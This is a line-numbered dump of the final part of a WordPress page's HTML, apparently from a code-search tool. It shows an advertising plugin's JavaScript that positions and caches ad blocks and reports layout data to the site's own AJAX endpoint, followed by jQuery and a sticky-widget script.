2172        &&typeof endedSc!=='undefined'&&
2173        typeof endedCc!=='undefined'&&
2174        typeof usedAdBlocksArray!=='undefined'&&
2175        typeof usedBlockSettingArrayIds!=='undefined'&&
2176        typeof sameElementAfterWidth!=='undefined'&&
2177        typeof sameElementAfterExcClassId!=='undefined'&&
2178        typeof sameElementAfterFromConstruction!=='undefined'&&
2179        typeof rb_tempElement_check!=='undefined'&&
2180        typeof rb_tempElement!=='undefined'&&
2181        typeof window.jsInputerLaunch!=='undefined') {
2182        /* asyncBlocksInsertingFunction(blockSettingArray, contentLength); */
2183        asyncBlocksInsertingFunction(blockSettingArray);
2184        if (!endedSc) {
2185            shortcodesInsert();
2186        }
2187        if (!endedCc) {
2188            /* clearUnsuitableCache(0); */
2189        }
2190        /* blocksReposition();
2191        cachePlacing();
2192        symbolMarkersPlaced(); */
2193    } else {
2194        setTimeout(function () {
2195            asyncFunctionLauncher();
2196        }, 50);
2197    }
2198};
2199/* asyncFunctionLauncher(); */
2200
2201function asyncInsertingsInsertingFunction(insertingsArray) {
2202    let currentElementForInserting = 0;
2203    let currentElementToMove = 0;
2204    let positionElement = 0;
2205    let position = 0;
2206    let insertToAdd = 0;
2207    let postId = 0;
2208    let repeatSearch = 0;
2209    if (insertingsArray&&insertingsArray.length > 0) {
2210        for (let i = 0; i < insertingsArray.length; i++) {
2211            if (!insertingsArray[i]['used']||(insertingsArray[i]['used']&&insertingsArray[i]['used']==0)) {
2212                positionElement = insertingsArray[i]['position_element'];
2213                position = insertingsArray[i]['position'];
2214                insertToAdd = insertingsArray[i]['content'];
2215                postId = insertingsArray[i]['postId'];
2216
2217                currentElementForInserting = document.querySelector(positionElement);
2218
2219                currentElementToMove = document.querySelector('.coveredInsertings[data-id="'+postId+'"]');
2220                if (currentElementForInserting) {
2221                    if (position==0) {
2222                        currentElementForInserting.parentNode.insertBefore(currentElementToMove, currentElementForInserting);
2223                        currentElementToMove.classList.remove('coveredInsertings');
2224                        insertingsArray[i]['used'] = 1;
2225                    } else {
2226                        currentElementForInserting.parentNode.insertBefore(currentElementToMove, currentElementForInserting.nextSibling);
2227                        currentElementToMove.classList.remove('coveredInsertings');
2228                        insertingsArray[i]['used'] = 1;
2229                    }
2230                } else {
2231                    repeatSearch = 1;
2232                }
2233            }
2234        }
2235    }
2236    if (repeatSearch == 1) {
2237        setTimeout(function () {
2238            asyncInsertingsInsertingFunction(insertingsArray);
2239        }, 100)
2240    }
2241}
2242
2243function insertingsFunctionLaunch() {
2244    if (window.jsInsertingsLaunch !== undefined&&jsInsertingsLaunch == 25) {
2245        asyncInsertingsInsertingFunction(insertingsArray);
2246    } else {
2247        setTimeout(function () {
2248            insertingsFunctionLaunch();
2249        }, 100)
2250    }
2251}
2252
2253function setLongCache() {
2254    let xhttp = new XMLHttpRequest();
2255    let sendData = 'action=setLongCache&type=longCatching';
2256    xhttp.onreadystatechange = function(redata) {
2257        if (this.readyState == 4 && this.status == 200) {
2258            console.log('long cache deployed');
2259        }
2260    };
2261    xhttp.open("POST", rb_ajaxurl, true);
2262    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2263    xhttp.send(sendData);
2264}
2265
2266function cachePlacing(alert_type, errorInfo=null) {
2267    let adBlocks = document.querySelectorAll('.percentPointerClass .' + block_classes.join(', .percentPointerClass .'));
2268    let curAdBlock;
2269    let okStates = ['done','refresh-wait','no-block','fetched'];
2270    /* let adId = -1; */
2271    let blockAid = null;
2272    let blockId;
2273
2274    if (typeof cachedBlocksArray !== 'undefined'&&cachedBlocksArray&&cachedBlocksArray.length > 0&&adBlocks&&adBlocks.length > 0) {
2275        for (let i = 0; i < adBlocks.length; i++) {
2276            blockAid = adBlocks[i]['dataset']['aid'];
2277
2278            if (!blockAid) {
2279                blockId = adBlocks[i]['dataset']['id'];
2280                if (cachedBlocksArray[blockId]) {
2281                    jQuery(adBlocks[i]).html(cachedBlocksArray[blockId]);
2282                }
2283            }
2284        }
2285    }
2286
2287    if (alert_type&&alert_type=='high') {
2288        setLongCache();
2289    }
2290}
2291
2292function symbolInserter(lordOfElements, containerFor7th, tlArray) {
2293    try {
2294        var currentChildrenLength = 0;
2295        let previousBreak = 0;
2296        let needleLength;
2297        let currentSumLength;
2298        let elementToAdd;
2299        let elementToBind;
2300        let elementToAddStyle;
2301        let block_number;
2302        let binderName;
2303
2304        if (!document.getElementById("markedSpan1")) {
2305            for (let i = 0; i < containerFor7th.length; i++) {
2306                previousBreak = 0;
2307                currentChildrenLength = 0;
2308                currentSumLength = 0;
2309                needleLength = Math.abs(containerFor7th[i]['elementPlace']);
2310                binderName = elementBinderNameGenerator();
2311
2312                elementToAdd = document.createElement("div");
2313                elementToAdd.classList.add("percentPointerClass");
2314                elementToAdd.classList.add("marked");
2315                if (containerFor7th[i]["sc"]==1) {
2316                    elementToAdd.classList.add("scMark");
2317                }
2318                elementToAdd.dataset.rbinder = binderName;
2319                elementToAdd.innerHTML = containerFor7th[i]["text"];
2320                block_number = elementToAdd.children[0].attributes['data-id'].value;
2321                if (!elementToAdd) {
2322                    continue;
2323                }
2324
2325                elementToAddStyle = createStyleElement(block_number, 
2325containerFor7th[i]["elementCss"]);
2326
2327                if (elementToAddStyle&&elementToAddStyle!='default') {
2328                    elementToAdd.style.textAlign = elementToAddStyle;
2329                }
2330
2331                if (containerFor7th[i]['elementPlace'] < 0) {
2332                    for (let j = tlArray.length-1; j > -1; j--) {
2333                        currentSumLength = currentSumLength + tlArray[j]['length'];
2334                        if (needleLength < currentSumLength) {
2335                            elementToBind = tlArray[j]['element'];
2336                            elementToBind = currentElementReceiverSpec(true, j, tlArray, elementToBind);
2337                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind);
2338                            elementToBind.classList.add('rbinder-'+binderName);
2339                            elementToAdd.classList.remove('coveredAd');
2340                            break;
2341                        }
2342                    }
2343                } else if (containerFor7th[i]['elementPlace'] == 0) {
2344                    elementToBind = tlArray[0]['element'];
2345                    elementToBind.parentNode.insertBefore(elementToAdd, elementToBind);
2346                    elementToBind.classList.add('rbinder-'+binderName);
2347                    elementToAdd.classList.remove('coveredAd');
2348                } else {
2349                    for (let j = 0; j < tlArray.length; j++) {
2350                        currentSumLength = currentSumLength + tlArray[j]['length'];
2351                        if (needleLength < currentSumLength) {
2352                            elementToBind = tlArray[j]['element'];
2353                            elementToBind = currentElementReceiverSpec(false, j, tlArray, elementToBind);
2354                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind.nextSibling);
2355                            elementToBind.classList.add('rbinder-'+binderName);
2356                            elementToAdd.classList.remove('coveredAd');
2357                            break;
2358                        }
2359                    }
2360                }
2361            }
2362
2363            var spanMarker = document.createElement("span");
2364            spanMarker.setAttribute("id", "markedSpan1");
2365            lordOfElements.prepend(spanMarker);
2366        }
2367    } catch (e) {
2368        console.log(e);
2369    }
2370}
2371
2372function percentInserter(lordOfElements, containerFor6th, tlArray, textLength) {
2373    try {
2374        var textNeedyLength = 0;
2375        let elementToAdd;
2376        var elementToBind;
2377        let elementToAddStyle;
2378        let block_number;
2379        var binderName;
2380        /* var checkIfBlockUsed = 0; */
2381
2382        function insertByPercents(textLength) {
2383            let localMiddleValue = 0;
2384
2385            for (let j = 0; j < containerFor6th.length; j++) {
2386                textNeedyLength = Math.round(textLength * (containerFor6th[j]["elementPlace"]/100));
2387                for (let i = 0; i < tlArray.length; i++) {
2388                    if (tlArray[i]['lengthSum'] >= textNeedyLength) {
2389                        binderName = elementBinderNameGenerator();
2390
2391                        elementToAdd = document.createElement("div");
2392                        elementToAdd.classList.add("percentPointerClass");
2393                        elementToAdd.classList.add("marked");
2394                        if (containerFor6th[j]["sc"]==1) {
2395                            elementToAdd.classList.add("scMark");
2396                        }
2397                        elementToAdd.dataset.rbinder = binderName;
2398                        elementToAdd.innerHTML = containerFor6th[j]["text"];
2399                        if (!elementToAdd) {
2400                            break;
2401                        }
2402                        block_number = elementToAdd.children[0].attributes['data-id'].value;
2403                        elementToAddStyle = createStyleElement(block_number, 
2403containerFor6th[j]["elementCss"]);
2404                        if (elementToAddStyle&&elementToAddStyle!='default') {
2405                            elementToAdd.style.textAlign = elementToAddStyle;
2406                        }
2407
2408                        localMiddleValue = tlArray[i]['lengthSum'] - Math.round(tlArray[i]['length']/2);
2409                        elementToBind = tlArray[i]['element'];
2410                        currentElementReceiverSpec(false, i, tlArray, elementToBind);
2411                        if (textNeedyLength < localMiddleValue) {
2412                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind);
2413                        } else {
2414                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind.nextSibling);
2415                        }
2416                        elementToBind.classList.add('rbinder-'+binderName);
2417                        elementToAdd.classList.remove('coveredAd');
2418                        break;
2419                    }
2420                }
2421            }
2422            return false;
2423        }
2424
2425        function clearTlMarks() {
2426            let marksForDeleting = document.querySelectorAll('.textLengthMarker');
2427
2428            if (marksForDeleting.length > 0) {
2429                for (let i = 0; i < marksForDeleting.length; i++) {
2430                    marksForDeleting[i].remove();
2431                }
2432            }
2433        }
2434
2435        if (!document.getElementById("markedSpan")) {
2436            insertByPercents(textLength);
2437            clearTlMarks();
2438            var spanMarker = document.createElement("span");
2439            spanMarker.setAttribute("id", "markedSpan");
2440            lordOfElements.prepend(spanMarker);
2441        }
2442    } catch (e) {
2443        console.log(e.message);
2444    }
2445}
2446
2447function saveContentBlock(contentContainer) {
2448    try {
2449        if (!gather_content) {
2450            console.log('content gather save function entered');
2451            let xhttp = new XMLHttpRequest();
2452            let sendData = 'action=RFWP_saveContentContainer&type=gatherContentBlock&data='+contentContainer;
2453            xhttp.onreadystatechange = function(redata) {
2454                if (this.readyState == 4 && this.status == 200) {
2455                    console.log('content gather succeed');
2456                } else {
2457                    console.log('content gather gone wrong');
2458                }
2459            };
2460            xhttp.open("POST", rb_ajaxurl, true);
2461            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2462            xhttp.send(sendData);
2463        }
2464    } catch (er) {
2465        console.log('content gather error: '+er+';');
2466    }
2467}
2468
2469window.gatherContentBlock = function() {
2470    let cPointer = null,
2471        cPointerParent = null,
2472        cPointerParentString = null,
2473        classWords = ['content','entry','post','wrap','description','taxonomy'],
2474        classChoosed = false;
2475
2476    cPointer =  document.querySelector('#content_pointer_id');
2477    if (cPointer) {
2478        if (window.jsInputerLaunch!==15) {
2479            return false;
2480        }
2481        cPointerParent = cPointer.parentElement;
2482        if (cPointerParent) {
2483            if (cPointerParent.id) {
2484                cPointerParentString = '#'+cPointerParent.id;
2485            } else {
2486                if (cPointerParent.classList.length > 0) {
2487                    cPointerParentString = '.'+cPointerParent.classList[0];
2488                    for (let j = 0; j < classWords.length; j++) {
2489                        for (let i = 0; i < cPointerParent.classList.length; i++) {
2490                            if (cPointerParent.classList[i].includes(classWords[j])) {
2491                                cPointerParentString = '.'+cPointerParent.classList[i];
2492                                classChoosed = true;
2493                                break;
2494                            }
2495                        }
2496                        if (classChoosed===true) {
2497                            break;
2498                        }
2499                    }
2500                }
2501            }
2502            if (cPointerParentString) {
2503                console.log('content gather content block detected');
2504                /* cPointerParentString = JSON.stringify(cPointerParentString); */
2505                saveContentBlock(cPointerParentString);
2506            }
2507        }
2508    } else {
2509        console.log('content gather delayed');
2510        setTimeout(function () {
2511            gatherContentBlock();
2512        }, 500);
2513    }
2514};
2515
2516window.removeMarginClass = function(blockObject) {
2517    if (blockObject && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) {
2518        let binderName,
2519            neededElement,
2520            currentDirection,
2521            seekerIterationCount,
2522            currentSubling;
2523
2524        binderName = blockObject.dataset.rbinder;
2525        if (binderName) {
2526            seekerIterationCount = 0;
2527            currentDirection = 'before';
2528            do {
2529                seekerIterationCount++;
2530                currentSubling = blockObject.nextElementSibling;
2531                if (currentSubling&&currentSubling.classList.contains('rbinder-'+binderName)) {
2532                    neededElement = currentSubling;
2533                }
2534            } while (currentSubling&&!neededElement&&seekerIterationCount < 5);
2535
2536            if (!neededElement) {
2537                seekerIterationCount = 0;
2538                currentDirection = 'after';
2539                do {
2540                    seekerIterationCount++;
2541                    currentSubling = blockObject.previousElementSibling;
2542                    if (currentSubling&&currentSubling.classList.contains('rbinder-'+binderName)) {
2543                        neededElement = currentSubling;
2544                    }
2545                } while (currentSubling&&!neededElement&&seekerIterationCount < 5);
2546            }
2547            if (neededElement) {
2548                if (currentDirection === 'before') {
2549                    neededElement.classList.remove('rfwp_removedMarginTop');
2550                } else {
2551                    neededElement.classList.remove('rfwp_removedMarginBottom');
2552                }
2553            }
2554        }
2555    }
2556
2557    return false;
2558};
2559
2560function elementBinderNameGenerator() {
2561    let binderName = '',
2562        checkedElements,
2563        passed = false;
2564
2565    while (passed===false) {
2566        binderName = Math.floor(Math.random()*100000);
2567        checkedElements = document.querySelectorAll('[data-rbinder="'+binderName+'"]');
2568        if (checkedElements.length < 1) {
2569            passed = true;
2570        }
2571    }
2572
2573    return binderName;
2574}
2575</script>
vendor: 1 bytes, line 2575
2575
2576<script>
2577if (typeof rb_ajaxurl==='undefined') {var rb_ajaxurl = 'https://etopolezno.com/wp-admin/admin-ajax.php';}
2578if (typeof cache_devices==='undefined') {var cache_devices = false;}
2579var nReadyBlock = false;
2580var fetchedCounter = 0;
2581
2582function sendReadyBlocksNew(blocks) {
2583    if (!cache_devices) {
2584        let xhttp = new XMLHttpRequest();
2585        let sendData = 'action=saveAdBlocks&type=blocksGethering&data='+blocks;
2586        xhttp.onreadystatechange = function(redata) {
2587            if (this.readyState == 4 && this.status == 200) {
2588                console.log('cache succeed');
2589            }
2590        };
2591        xhttp.open("POST", rb_ajaxurl, true);
2592        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2593        xhttp.send(sendData);
2594    }
2595}
2596
2597function gatherReadyBlocks() {
2598    if (block_classes && block_classes.length) {
2599        let blocks = {};
2600        let counter1 = 0;
2601        let gatheredBlocks = document.querySelectorAll('.' + block_classes.join(', .'));
2602        let checker = 0;
2603        let adContent = '';
2604        let curState = '';
2605        let thisData = [];
2606        let sumData = [];
2607        let newBlocks = '';
2608        let thisDataString = '';
2609
2610        if (gatheredBlocks.length > 0) {
2611            blocks.data = {};
2612
2613            for (let i = 0; i < gatheredBlocks.length; i++) {
2614                curState = gatheredBlocks[i]['dataset']["state"].toLowerCase();
2615                checker = 0;
2616                if (curState&&gatheredBlocks[i]['innerHTML'].length > 0&&gatheredBlocks[i]['dataset']['aid'] > 0&&curState!='no-block') {
2617                    if (gatheredBlocks[i]['innerHTML'].length > 0) {
2618                        checker = 1;
2619                    }
2620                    if (checker==1) {
2621                        blocks.data[counter1] = {id:gatheredBlocks[i]['dataset']['id'],code:gatheredBlocks[i]['dataset']['aid']};
2622                        counter1++;
2623                    }
2624                }
2625            }
2626
2627            blocks = JSON.stringify(blocks);
2628            sendReadyBlocksNew(blocks);
2629        }
2630    } else nReadyBlock = true;
2631}
2632
2633function timeBeforeGathering() {
2634    if (block_classes && block_classes.length > 0)
2635    {
2636        let gatheredBlocks = document.querySelectorAll('.' + block_classes.join(', .'));
2637        let okStates = ['done','refresh-wait','no-block','fetched'];
2638        let curState = '';
2639
2640        for (let i = 0; i < gatheredBlocks.length; i++) {
2641            if (!gatheredBlocks[i]['dataset']["state"]) {
2642                nReadyBlock = true;
2643                break;
2644            } else {
2645                curState = gatheredBlocks[i]['dataset']["state"].toLowerCase();
2646                if (!okStates.includes(curState)) {
2647                    nReadyBlock = true;
2648                    break;
2649                } else if (curState=='fetched'&&fetchedCounter < 3) {
2650                    fetchedCounter++;
2651                    nReadyBlock = true;
2652                    break;
2653                }
2654            }
2655        }
2656    }
2657    else nReadyBlock = true;
2658
2659    if (nReadyBlock == true) {
2660        nReadyBlock = false;
2661        setTimeout(timeBeforeGathering,2000);
2662    } else {
2663        gatherReadyBlocks();
2664    }
2665}
2666
2667function launchTimeBeforeGathering() {
2668    if (document.readyState === "complete" || (document.readyState !== "loading" && !document.documentElement.doScroll)) {
2669        timeBeforeGathering();
2670    } else {
2671        setTimeout(launchTimeBeforeGathering,100);
2672    }
2673}
2674launchTimeBeforeGathering();
2675
2676</script>
vendor: 1 bytes, line 2676
2676
2677<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js' id='jquery-core-js'></script>
vendor: 1 bytes, line 2677
2677
2678<script type='text/javascript' id='q2w3_fixed_widget-js-extra'>
2679/* <![CDATA[ */
2680var q2w3_sidebar_options = [{"sidebar":"colormag_right_sidebar","use_sticky_position":false,"margin_top":0,"margin_bottom":0,"stop_elements_selectors":"","screen_max_width":0,"screen_max_height":0,"widgets":["#custom_html-7"]}];
2681/* ]]> */
2682</script>
vendor: 1 bytes, line 2682
2682
2683<script type='text/javascript' src='https://etopolezno.com/wp-content/plugins/q2w3-fixed-widget/js/frontend.min.js?ver=6.2.3' id='q2w3_fixed_widget-js'></script>
2683
2684</body>
2685</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.